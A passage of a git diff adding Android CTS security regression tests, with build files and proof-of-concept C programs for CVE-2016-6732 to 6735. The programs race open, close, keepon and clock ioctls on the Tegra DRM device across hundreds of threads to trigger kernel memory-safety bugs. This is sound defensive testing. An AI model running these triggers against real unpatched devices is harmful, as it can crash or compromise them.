+		ioctl(fd, DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT, &clk_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+		ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL);
+		if(ret){
+			goto out_clk_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set clk */
+			clk_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+        puts("ran 1");
+out_clk_thread:
+	/* kill clk thread */
+	for(i = 0; i < CLK_THREAD_NUM; i++){
+			pthread_kill(clk_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+        puts("ran 2");
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
new file mode 100644
index 0000000..03b7b87
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6732
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c
new file mode 100644
index 0000000..5b8ea8e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6732/poc.c
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define THREAD_NUM	900
+#define TRY_TIMES	900
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+
+int fd;
+pthread_t thread_id[THREAD_NUM] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int futex_signal = 0;
+
+struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* child(void* no_use)
+{
+	int ret = 1;
+	set_affinity(1);
+
+	while(ret){
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+	}
+        return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL);
+	}
+
+	while(try_time--){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret){
+		}else{
+		}
+		/* close */
+		close_c.context = open_c.context;
+
+		/* swtich to child */
+		usleep(500);
+	}
+
+out_thread:
+	/* kill thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		if(!thread_ret[i]){
+			pthread_kill(thread_id[i], SIGKILL);
+		}
+	}
+
+out_close:
+	close(fd);
+	return 0;
+}
+	
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
new file mode 100644
index 0000000..7b02188
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6733
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h
new file mode 100644
index 0000000..1c1dde9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/local_pwn.h
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __local_pwn_H__
+#define __local_pwn_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c
new file mode 100644
index 0000000..7980fc9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/poc.c
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+#define THREAD_NUM	900
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+
+int fd;
+pthread_t thread_id[THREAD_NUM] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int futex_signal = 0;
+
+struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* child(void* no_use)
+{
+	int ret = 1;
+	set_affinity(1);
+
+	while(ret){
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+	}
+        return NULL;
+}
+
+int main()
+{
+	int i, try_time = THREAD_NUM, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		printf("[+] open failed %d %s\n", errno, strerror(errno));
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL);
+	}
+
+	while(try_time--){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		/* close */
+		close_c.context = open_c.context;
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		if(ret){
+		}else{
+			open_c.context = 0UL;
+		}
+	}
+
+out_thread:
+	/* kill thread */
+	for(i = 0; i < THREAD_NUM; i++){
+		if(!thread_ret[i]){
+			pthread_kill(thread_id[i], SIGKILL);
+		}
+	}
+
+out_close:
+	close(fd);
+	return 0;
+}
+	
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
new file mode 100644
index 0000000..e1eebbd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6734
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c
new file mode 100644
index 0000000..60b3a3c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6734/poc.c
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define KEEPON_THREAD_NUM	900
+#define TRY_TIMES	KEEPON_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_START_KEEPON		0x10
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_keepon {
+	volatile __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_START_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_START_KEEPON, struct drm_tegra_keepon)
+
+int fd;
+pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_keepon keepon_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* keepon_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
+		ioctl(fd, DRM_IOCTL_TEGRA_START_KEEPON, &keepon_c);
+	}
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		return 0;
+	}
+
+	/* prepare ioctl cmd */
+	prepare();
+
+	/* create keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+		ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
+		if(ret){
+			goto out_keepon_thread;
+		}
+	}
+
+	while(try_time){
+		/* open */
+		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+		if(ret == 0){
+			try_time--;
+			/* set keepon */
+			keepon_c.context = open_c.context;
+			/* set close */
+			close_c.context = open_c.context;
+			usleep(500);
+			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
+		}
+	}
+	
+out_keepon_thread:
+	/* kill keepon thread */
+	for(i = 0; i < KEEPON_THREAD_NUM; i++){
+			pthread_kill(keepon_thread_id[i], SIGKILL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
new file mode 100644
index 0000000..8935cd6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-6735
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c b/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c
new file mode 100644
index 0000000..f38f411
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-6735/poc.c
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define KEEPON_THREAD_NUM	900
+#define TRY_TIMES	KEEPON_THREAD_NUM
+#define DEV "/dev/dri/renderD129"
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_STOP_KEEPON		0x11
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+    volatile __u64 context;
+};
+
+struct drm_tegra_close_channel {
+    volatile __u64 context;
+};
+
+struct drm_tegra_keepon {
+	volatile __u64 context;
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_STOP_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_STOP_KEEPON, struct drm_tegra_keepon)
+
+int fd;
+pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
+
+volatile struct drm_tegra_open_channel open_c = { 0 };
+volatile struct drm_tegra_close_channel close_c = { 0 };
+volatile struct drm_tegra_keepon keepon_c = { 0 };
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	return ret;
+}
+
+static void prepare()
+{
+	open_c.client = HOST1X_CLASS_VIC;
+}
+
+void* keepon_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(1){
